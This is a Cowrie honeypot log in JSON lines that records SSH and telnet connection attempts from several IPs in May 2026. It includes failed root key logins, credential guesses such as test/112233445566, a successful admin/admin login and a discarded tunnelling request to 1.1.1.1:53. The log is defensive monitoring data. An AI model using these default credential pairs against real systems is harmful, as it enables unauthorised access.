{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:d4:01:20:28:24:82:e0:6b:56:39:eb:14:e5:57:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyPcuCWyNz84/IH4nTlgm6Ls1htxF8JcNZWCiACVCH2e79RpZlIJ1dfFzrDm4zivJ9gwlcImw71cCpnV8SiVoYXKxmvL6wW0an84RbMrcZYBQl7zd5vPr5tNeGWQ7KwKqsi35PyjIAg5VM87IGSDk6XzYFoaEX1kEfebuUNLZn1vPIM7eaBNy/jw7eW6y1HRxQ3RPJXX+eF0y1F1XAg5m92Un10guODOKaMAEzHJVpzLgq6JUSV+IjbV76j56yds4lVMkSc8uzeYNFGWqXWlxw3FSS+o79tWZ4PSqtqKe7MUSmCkSfBgzdlSgXbkjYv56jIs3ehyQBC+8mBuoPa2xqw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:42:04.049688Z","src_ip":"37.27.7.160","session":"0275716b9fdf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:92:69:d2:ca:3a:54:ef:fd:c4:c3:38:02:d3:00:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdTvMkfID9mhxx5VTqG7eBN68Z8AwUkcROzSgn9QJEfgC3PUCgOnvVkQpItebmzvDXTl46oQYkQTtuVWu30KuLjSkQ0FJXQXggeB2J1syr2XICLynIzNJkEMPWZlCc5qorQcnnACeKKa8gMYlVWkorwU44s0+MpDXHIVNYXKCTWfYKv7MQzTw7ldBLKASS/mQ+HVPwfwb6sRphuSzC8wNPk+hvsGtWm4shno5DKGY5Yb4MLAAOmKWLioh8nVg3iRG/JI/FDyzQIaYErF1vG0bEdWNVF3oplnQX7qd9uot02qaY9bj0TUz1BMzN1kqMpK7FHJP+N9h2KjVDwo1t72CT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:92:69:d2:ca:3a:54:ef:fd:c4:c3:38:02:d3:00:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:42:04.161134Z","src_ip":"37.27.7.160","session":"0275716b9fdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:92:69:d2:ca:3a:54:ef:fd:c4:c3:38:02:d3:00:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdTvMkfID9mhxx5VTqG7eBN68Z8AwUkcROzSgn9QJEfgC3PUCgOnvVkQpItebmzvDXTl46oQYkQTtuVWu30KuLjSkQ0FJXQXggeB2J1syr2XICLynIzNJkEMPWZlCc5qorQcnnACeKKa8gMYlVWkorwU44s0+MpDXHIVNYXKCTWfYKv7MQzTw7ldBLKASS/mQ+HVPwfwb6sRphuSzC8wNPk+hvsGtWm4shno5DKGY5Yb4MLAAOmKWLioh8nVg3iRG/JI/FDyzQIaYErF1vG0bEdWNVF3oplnQX7qd9uot02qaY9bj0TUz1BMzN1kqMpK7FHJP+N9h2KjVDwo1t72CT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:42:04.164414Z","src_ip":"37.27.7.160","session":"0275716b9fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:42:04.277016Z","src_ip":"37.27.7.160","session":"0275716b9fdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":33361,"dst_ip":"10.17.0.5","dst_port":23,"session":"616d06bfacc2","protocol":"telnet","message":"New connection: 212.55.149.117:33361 (10.17.0.5:23) [session: 616d06bfacc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:42:50.482189Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2246,"dst_ip":"10.17.0.5","dst_port":22,"session":"caa52f98d75a","protocol":"ssh","message":"New connection: 87.251.64.176:2246 (10.17.0.5:22) [session: caa52f98d75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:44:36.241874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:44:36.247045Z","src_ip":"87.251.64.176","session":"caa52f98d75a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:44:36.359972Z","src_ip":"87.251.64.176","session":"caa52f98d75a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:44:36.814866Z","src_ip":"87.251.64.176","session":"caa52f98d75a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:44:36.946342Z","session":"caa52f98d75a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:44:37.084640Z","src_ip":"87.251.64.176","session":"caa52f98d75a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:44:37.365077Z","src_ip":"87.251.64.176","session":"caa52f98d75a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01371169090271,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:44:50.495806Z","src_ip":"212.55.149.117","session":"616d06bfacc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":56228,"dst_ip":"159.203.135.109","dst_port":22,"session":"a267272c3914","protocol":"ssh","message":"New connection: 103.63.108.25:56228 (159.203.135.109:22) [session: a267272c3914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:45:57.112096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:46:01.366992Z","src_ip":"103.63.108.25","session":"a267272c3914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:46:01.636408Z","src_ip":"103.63.108.25","session":"a267272c3914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"112233445566","message":"login attempt [test/112233445566] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:46:02.772655Z","src_ip":"103.63.108.25","session":"a267272c3914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:46:04.054792Z","src_ip":"103.63.108.25","session":"a267272c3914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.140.166.100","src_port":52854,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5d0fa181efb","protocol":"telnet","message":"New connection: 158.140.166.100:52854 (159.203.135.109:23) [session: a5d0fa181efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:46:06.134250Z"}
{"eventid":"cowrie.session.closed","duration":12.956372261047363,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:46:19.090461Z","src_ip":"158.140.166.100","session":"a5d0fa181efb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.226.23","src_port":52610,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b3117188a05","protocol":"ssh","message":"New connection: 15.204.226.23:52610 (10.17.0.5:22) [session: 2b3117188a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:47:22.996974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:47:23.002070Z","src_ip":"15.204.226.23","session":"2b3117188a05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:47:23.016048Z","src_ip":"15.204.226.23","session":"2b3117188a05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:4c:85:b0:62:3b:a0:39:c6:a1:9d:be:7a:44:b3:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoemvFX2QGEqacXgwh+kb/imCJbBwdwQtE3jb4JgLM/EA1iDNBWYWmpSg6x/jtI2we/0UXK0cXhEFYBQZJ4ed6IGOLknIxBwwyTklJnOM+uYvJu0YN8ES7Uf8klDF8J07XBpKx2xd4GzWxiwDqt3yTXxyxCJzLDMB+3Ebf4A8VItXBU8nkQSr1BqaSN+b1Ms9WbGrE8pHpEnrQh10dPM5kaA19ImH1XfFa4O5pJPDPcR2WFgPifzFwvZzj7dDyWR21qoHWoC9kfepNk6GVj0tvlhf/NtVf3HvUj1MmaqEqS3frJBnddBi/ifEDTYKF2ywcjSOyYuu/IR2RGoO33Zb/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:4c:85:b0:62:3b:a0:39:c6:a1:9d:be:7a:44:b3:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:47:23.060315Z","src_ip":"15.204.226.23","session":"2b3117188a05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:4c:85:b0:62:3b:a0:39:c6:a1:9d:be:7a:44:b3:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoemvFX2QGEqacXgwh+kb/imCJbBwdwQtE3jb4JgLM/EA1iDNBWYWmpSg6x/jtI2we/0UXK0cXhEFYBQZJ4ed6IGOLknIxBwwyTklJnOM+uYvJu0YN8ES7Uf8klDF8J07XBpKx2xd4GzWxiwDqt3yTXxyxCJzLDMB+3Ebf4A8VItXBU8nkQSr1BqaSN+b1Ms9WbGrE8pHpEnrQh10dPM5kaA19ImH1XfFa4O5pJPDPcR2WFgPifzFwvZzj7dDyWR21qoHWoC9kfepNk6GVj0tvlhf/NtVf3HvUj1MmaqEqS3frJBnddBi/ifEDTYKF2ywcjSOyYuu/IR2RGoO33Zb/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:47:23.067835Z","src_ip":"15.204.226.23","session":"2b3117188a05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:b0:fe:37:2f:3e:28:46:1a:e7:47:92:db:c8:aa:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ+dLt7nEz1m4r3gI6p2sHEMxMKecSRq7y/JdUzF94Z9jkC+PXYZLLFrrmU3Mz4MTz3p58ZvCBHf4mRVyqjCbfwwgt7tAzTem4JIXb26OmHRWvXYop2RvLDwgdlKGBSTOZr7/bjZ0zZt98A2FBcrTDbnMgrApXdfAMWEazbHamic0lep9wJk/7c6MlLoC2HIkSSiAPLW8ffHGYsvaVQObJqq9ITzy5ASlhL10q/r2v1ZgYTlmyXmpJBtuPsZ18/rYPHDWz0e662EMxTd4yThH4TeEg2/KSatcbHHJGOibVsXdc9K0u/Kdd/scWneueIiJkOpM31hx2goF3VJrQ/Zq1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:b0:fe:37:2f:3e:28:46:1a:e7:47:92:db:c8:aa:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:47:23.083068Z","src_ip":"15.204.226.23","session":"2b3117188a05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:b0:fe:37:2f:3e:28:46:1a:e7:47:92:db:c8:aa:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ+dLt7nEz1m4r3gI6p2sHEMxMKecSRq7y/JdUzF94Z9jkC+PXYZLLFrrmU3Mz4MTz3p58ZvCBHf4mRVyqjCbfwwgt7tAzTem4JIXb26OmHRWvXYop2RvLDwgdlKGBSTOZr7/bjZ0zZt98A2FBcrTDbnMgrApXdfAMWEazbHamic0lep9wJk/7c6MlLoC2HIkSSiAPLW8ffHGYsvaVQObJqq9ITzy5ASlhL10q/r2v1ZgYTlmyXmpJBtuPsZ18/rYPHDWz0e662EMxTd4yThH4TeEg2/KSatcbHHJGOibVsXdc9K0u/Kdd/scWneueIiJkOpM31hx2goF3VJrQ/Zq1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:47:23.087180Z","src_ip":"15.204.226.23","session":"2b3117188a05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:c8:d8:9e:4f:2a:b8:75:73:5f:d9:2a:92:13:9e:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOsQlsYuxg7QKRi4GYk4XpXMRqHMzEYV44c3rWAhtDPdVlz9m6DTDIgrusQ24ZIeTU/CAZ1EtSXQS1gwEfWZgYGMN6FmkY9pXqcSUc3IEMALAQPdcC4ujVAQu8tL1XVIc51rmQ2M5Ved5Fe73BpqzqUKt0YIcM6+nlh6lJ4JDJNE5jcjYurFrltABvvlXDFHtlKwUrQXvbkNiZtZPAcsItMLOhY6sQ1QjDSS5ReXDKoNW2trbBbhKRsgj32CNBGVKCZMu+Br6Y3f34LlA7gu/S7Bd6rzrsgfjywzLj7qiECL/LmBHUfMuzeCHzga39ft6YdF1OCSHIANl/UObAXEgU7v2ER3x+n9gfOIE7GiObgKuzWhplw+o9moMbEp3+j6GYWZeEVrSRRh1Eww+uuDCk1RJPkpPx9kRkO5bUt8Wk1hK8CO4cklz4mNu5M78ilVxYhZZ5XRKp6mNnrX1TFPg83S7ysdS3XNPLYwm8tC/OFg4i1KnptynYAA4ZvSUCtzM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:c8:d8:9e:4f:2a:b8:75:73:5f:d9:2a:92:13:9e:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:47:23.102904Z","src_ip":"15.204.226.23","session":"2b3117188a05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:c8:d8:9e:4f:2a:b8:75:73:5f:d9:2a:92:13:9e:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOsQlsYuxg7QKRi4GYk4XpXMRqHMzEYV44c3rWAhtDPdVlz9m6DTDIgrusQ24ZIeTU/CAZ1EtSXQS1gwEfWZgYGMN6FmkY9pXqcSUc3IEMALAQPdcC4ujVAQu8tL1XVIc51rmQ2M5Ved5Fe73BpqzqUKt0YIcM6+nlh6lJ4JDJNE5jcjYurFrltABvvlXDFHtlKwUrQXvbkNiZtZPAcsItMLOhY6sQ1QjDSS5ReXDKoNW2trbBbhKRsgj32CNBGVKCZMu+Br6Y3f34LlA7gu/S7Bd6rzrsgfjywzLj7qiECL/LmBHUfMuzeCHzga39ft6YdF1OCSHIANl/UObAXEgU7v2ER3x+n9gfOIE7GiObgKuzWhplw+o9moMbEp3+j6GYWZeEVrSRRh1Eww+uuDCk1RJPkpPx9kRkO5bUt8Wk1hK8CO4cklz4mNu5M78ilVxYhZZ5XRKp6mNnrX1TFPg83S7ysdS3XNPLYwm8tC/OFg4i1KnptynYAA4ZvSUCtzM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:47:23.106248Z","src_ip":"15.204.226.23","session":"2b3117188a05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:b6:85:a4:fc:8d:f5:73:bc:38:46:87:9e:ff:81:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQPyJIoZnbmvKUpwLV0fHlfEIKLQb1SfOiPKA64E9dmbluWwXAYnfdJG+0ad4tj2iBtNwFAU8YUTigOLRbyx8OKsUqh7wz8E6ti05QCQvqPp8Hrmftcfam8eqFoAT8XSvUhOTBPl/k2qxt3KUIMGCptv2/iyxKxOarfDvbtRt1m94hwo4j96bkHA1hFhmt3hLBvLIIShqYdICPL8Ulp+9nG2wmpfJ/3PbyPo/0q6s8FUBYzq/agT2yVaEDgVewI6S/J2ISCDZsXyp7WoBXZfRllXxjMEFKL6dYGiy3RYwK/YmqXQully1mLhoVdKQced430fg/KTIHwrGIbGnglNHT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:b6:85:a4:fc:8d:f5:73:bc:38:46:87:9e:ff:81:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:47:23.119718Z","src_ip":"15.204.226.23","session":"2b3117188a05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:b6:85:a4:fc:8d:f5:73:bc:38:46:87:9e:ff:81:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQPyJIoZnbmvKUpwLV0fHlfEIKLQb1SfOiPKA64E9dmbluWwXAYnfdJG+0ad4tj2iBtNwFAU8YUTigOLRbyx8OKsUqh7wz8E6ti05QCQvqPp8Hrmftcfam8eqFoAT8XSvUhOTBPl/k2qxt3KUIMGCptv2/iyxKxOarfDvbtRt1m94hwo4j96bkHA1hFhmt3hLBvLIIShqYdICPL8Ulp+9nG2wmpfJ/3PbyPo/0q6s8FUBYzq/agT2yVaEDgVewI6S/J2ISCDZsXyp7WoBXZfRllXxjMEFKL6dYGiy3RYwK/YmqXQully1mLhoVdKQced430fg/KTIHwrGIbGnglNHT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:47:23.123748Z","src_ip":"15.204.226.23","session":"2b3117188a05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:f7:6e:75:0e:7d:d5:0f:07:19:2c:04:3b:41:d6:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeHKlENTGVLpJdhQLstJ6juBbMZRiSmGvpdCoy8cqbYliRS/5FBO8Pi9lxdAe7BCF8c2d4VX/OQ6p0R6wv7wiawOhvKyDLH/1Lqe1G9g9/DC8rGfEuBDLm4tPEXqM2AEYR9RPDi9bC1ckmnzq9WrLpBfuMD1y+WSkHweemzbDpR/ZY+vHbzXFD4YJev27R2WKvPTLKV4PqgaQiQzGre5zkHZ6bj3a4dOXKy+xEJaRKCgZRSYV8Fj7HpkHTvmOGb13Esd8gMMf9mKmujj1JAba0NMkq9XMipKB2Ozx6VUUD5nw4kPd3UtoeHHBO7wlWoUWkA8ut3hJKlT8o1A2XQgLb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:f7:6e:75:0e:7d:d5:0f:07:19:2c:04:3b:41:d6:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:47:23.139774Z","src_ip":"15.204.226.23","session":"2b3117188a05","protocol":"ssh"}
